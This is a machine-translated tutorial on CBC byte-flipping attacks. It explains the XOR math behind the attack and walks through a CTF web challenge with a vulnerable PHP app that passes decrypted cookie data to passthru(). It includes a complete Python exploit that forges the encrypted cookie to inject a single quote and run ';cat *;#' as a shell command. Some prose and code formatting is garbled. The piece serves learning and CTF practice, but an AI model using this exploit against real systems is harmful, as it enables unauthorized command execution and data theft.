CBC byte flip attack-101 Approach
0x00 translator's preface
Topic articles in drops: using CBC bit reverse attack to bypass encrypted session tokens
The origin is a question produced by candy. I can see that the author of the original article elaborated on this question in more detail. Although it has been a long time, I can translate it to Zhu Jun to learn how to think about the problem.
0x01
The essence of this attack method is:Change the plaintext byte by damaging the ciphertext byte. (Note: The CBC internal mode can be used to bypass the filter, or change the user permissions to the Administrator, or change the expected plain text of the application to make every effort cumbersome.
First, let's take a look at how CBC works. For more details, see here: wiki.
Here is just a description of what the attack must understand. (That is, a picture is better than a thousand words)
Encryption Process
Plaintext: Data to be encrypted.
IV: The bit Block Used for random encryption ensures that different ciphertext values can be obtained even if the same plaintext is encrypted multiple times.
Key: Used by some AES symmetric encryption algorithms.
Ciphertext: Encrypted data.
The important point here is that CBC works in a fixed-length bit group, which is calledBlock. In this article, we will use 16-byte blocks.
Because the author hates high numbers (the same as the translator), the author creates some of his own formulas (to facilitate memory ):
Ciphertext-0 = Encrypt (Plaintext xor iv)-Used only for the first block
Ciphertext-N = Encrypt (Plaintext XOR Ciphertext-N-1)-Used for the second and remaining blocks
Note: As you can see,The ciphertext of the previous block is used to generate the ciphertext of the next block..
Decryption Process
Plaintext-0 = Decrypt (Ciphertext) XOR IV-Used only for the first block
Plaintext-N = Decrypt (Ciphertext) XOR Ciphertext-N-1-Used for the second and remaining blocks
Note:Ciphertext-N-1(Ciphertext-N-1) is used to generate the next plaintextThis is where the byte flip attack starts to take effect. If we changeCiphertext-N-1(Ciphertext-N-1) a byte, and then different from the next decrypted block or, we can get a different plaintext!You got it?Don't worry. Here is a detailed example. At the same time, the following figure also shows the attack:
0x02 example (CBC Blocks of 16 bytes)
For example, we have such a plaintext sequence:
A: 2: {s: 4: "name"; s: 6: "sdsdsd"; s: 8: "greeting"; s: 20: "echo 'Hello sdsdsd! '";}
Our goal is to convert the number 6 in "s: 6" to the number "7 ". The first thing we need to do is to divide the plaintext into 16 bytes:
Block 1: a: 2: {s: 4: "name"; Block 2: s: 6: "sdsdsd"; s: 8 Block 3: "greeting"; s: 20 Block 4: "echo 'Hello sdBlock 5: sdsd! '";}
Therefore, our target character is located in Block 2, which means we need to change the ciphertext of Block 1 to change the plaintext of the second block.
There is an empirical rule (note: we can see from the above illustration) that the byte you changed in the password,OnlyIt will affect the bytes with the same offset in the next text. So our target offset is 2:
[0] = s1 =: 2 = 6
Therefore, we need to change the offset of the first ciphertext block to 2 bytes. As you can see in the following code, we get the ciphertext of the entire data in row 2nd, and then in row 3rd, we change the byte whose offset is 2 in Block 1, finally, call the decryption function.
$ V = "a: 2: {s: 4:" name "; s: 6:" sdsdsd "; s: 8:" greeting "; s: 20: "echo 'Hello sdsd! '";}"; $ Enc = @ encrypt ($ v); $ enc [2] = chr (ord ($ enc [2]) ^ ord ("6 ") ^ ord ("7"); $ B = @ decrypt ($ enc );
After running this code, we can change the number 6 to 7:
But in Row 3, how do we change the byte to the value we want?
Based on the above decryption process, we know that,A = Decrypt (Ciphertext)AndB = Ciphertext-N-1Returns the result after XOR.C = 6. It is equivalent:
C = A XOR B
Therefore, the only unknown value is A (NOTE: For B, C )(Block cipher decryption); With XOR, we can easily get the value of:
A = B XOR C
Finally, a xor B XOR C is equal to 0. With this formula, we can set our own values at the end of the XOR operation, just like this:
A xor B XOR C XOR "7" will get 7 at the byte offset of 2 in the plaintext of Block 2.
The following is the PHP Source Code implemented by the relevant principles:
define('MY_AES_KEY', "abcdef0123456789");function aes($data, $encrypt) { $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, ''); $iv = "1234567891234567"; mcrypt_generic_init($aes, MY_AES_KEY, $iv); return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);} define('MY_MAC_LEN', 40); function encrypt($data) { return aes($data, true);} function decrypt($data) { $data = rtrim(aes($data, false), "\0"); return $data;}$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";echo "Plaintext before attack: $v\n";$b = array();$enc = array();$enc = @encrypt($v);$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));$b = @decrypt($enc);echo "Plaintext AFTER attack : $b\n";
0x03 one exercise
The author gave an example of a topic in the CTF he participated in (for more details, refer to the final reference link ), then he explained how he broke the CBC in the last few steps.
The following provides an important part of the source code for this exercise:
After you submit any text value of the parameter "name" in POST, the application will output "Hello" and the final submitted text. But there are two things that happen before message printing:
The "name" value of the POST parameter is filtered by the PHP function escapeshellarg () (convert single quotes to prevent malicious command injection) and stored in Array-> greeting, finally, encrypt the value to generate a cookie. The content in Array-> greeting is executed by the PHP function passthru. Finally, if the cookie already exists at any time of Access to the page, it will be decrypted and its content will be executed through the passthru () function. As described in the previous section, here the CBC attack will give us a different plaintext.
Then the author constructs a POST "name" value to inject the string:
name = 'X' + ';cat *;#a'
First, the author adds the character "X", replaces it with a single quotation mark through the CBC flip attack, and then the; cat *; command will be executed, and the last # is used for comment, make sure that the single quotation marks inserted by the function escapeshellarg () do not cause other problems; therefore, our command is successfully executed.
After calculating the exact offset (51) of the byte to be changed in the previous password block, the author injects single quotation marks through the following code:
pos = 51;val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))exploit = cookie[0:pos] + val + cookie[pos + 1:]
Then, the author changes the cookie (because it has all the ciphertext) and obtains the following results:
First, because we changed the first block, in the second block, the "X" marked in yellow is successfully replaced with single quotes. It is considered redundant insertion (green ), as a result, an error (red) is generated when unserialize () processes data, so the application did not even try to execute the injection.
How to Improve
We need to make our injected data valid, so the extra data we get in the first block cannot cause any problems (unserialize () in the deserialization process ()). One way is to fill in letters in our malicious commands. Therefore, we try to fill multiple 'Z' before and after the injection string ':
name = 'z'*17 + 'X' + ';cat *;#' + 'z'*16
After sending the above string, unserialize () does not report an error, and our shell command is successfully executed !!!
0x04 references CRYPTO #2: http://blog.gdssecurity.com/labs/tag/cryptohttp://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/http://hardc0de.ru/2013/08/04/ebctf-web400/0x05 appendix code
Below are the PHP source code and exp in the above practice:
PHP code:
ini_set('display_errors',1);error_reporting(E_ALL); define('MY_AES_KEY', "abcdef0123456789");define('MY_HMAC_KEY',"1234567890123456" );#define("FLAG","CENSORED"); function aes($data, $encrypt) {$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);$iv = "1234567891234567";mcrypt_generic_init($aes, MY_AES_KEY, $iv);return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);} define('MY_MAC_LEN', 40); function hmac($data) {return hash_hmac('sha1', data, MY_HMAC_KEY);} function encrypt($data) {return aes($data . hmac($data), true);} function decrypt($data) {$data = rtrim(aes($data, false), "\0");$mac = substr($data, -MY_MAC_LEN);$data = substr($data, 0, -MY_MAC_LEN);return hmac($data) === $mac ? $data : null;}$settings = array();if (@$_COOKIE['settings']) {echo @decrypt(base64_decode($_COOKIE['settings']));$settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));}if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {$settings = array('name' => $_POST['name'],'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),);setcookie('settings', base64_encode(@encrypt(serialize($settings))));#setcookie('settings', serialize($settings));}$d = array();if (@$settings['greeting']) {passthru($settings['greeting']);else {echo "</pre><form action="\"?\"" method="\"POST\"">\n";echo "What is your name? \n";echo "<input type="\"text\"" name="\"name\"" />\n";echo "<input type="\"submit\"" name="\"submit\"" value="\"Submit\"" />\n";echo "</form><pre>\n";}?>
Exploit:
#!/usr/bin/pythonimport requestsimport sysimport urllibfrom base64 import b64decode as decfrom base64 import b64encode as enc url = 'http://192.168.184.133/ebctf/mine.php' def Test(x): t = "echo 'Hello %s!'" % x s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40) for i in xrange(0,len(s),16): print s[i:i+16] print '\n' def Pwn(s): global url s = urllib.quote_plus(enc(s)) req = requests.get(url, cookies = {'settings' : s}).content # if req.find('works') != -1: print req # else: # print '[-] FAIL' def GetCookie(name): global url d = { 'name':name, 'submit':'Submit' } h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers if h.has_key('set-cookie'): h = dec(urllib.unquote_plus(h['set-cookie'][9:])) #h = urllib.unquote_plus(h['set-cookie'][9:]) #print h return h else: print '[-] ERROR' sys.exit(0) #a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}#a:2:{s:4:"name";#s:10:"X;cat *;#a#";s:8:"greeting"#;s:24:"echo 'Hel#lo X;cat *;#a!'"#;} #a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}#a:2:{s:4:"name";#s:42:"zzzzzzzzzz#zzzzzzzX;cat *;##zzzzzzzzzzzzzzzz#";s:8:"greeting" #;s:56:"echo 'Hel#lo zzzzzzzzzzzzz#zzzzX;cat *;#zzz#zzzzzzzzzzzzz!'"#;}#exploit = 'X' + ';cat *;#a' #Test case first, unsuccessexploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success #exploit = "______________________________________________________; cat *;#"#Test(exploit)cookie = GetCookie(exploit)pos = 100; #test case success#pos = 51; #test case first, unsuccessval = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))exploit = cookie[0:pos] + val + cookie[pos + 1:]Pwn(exploit)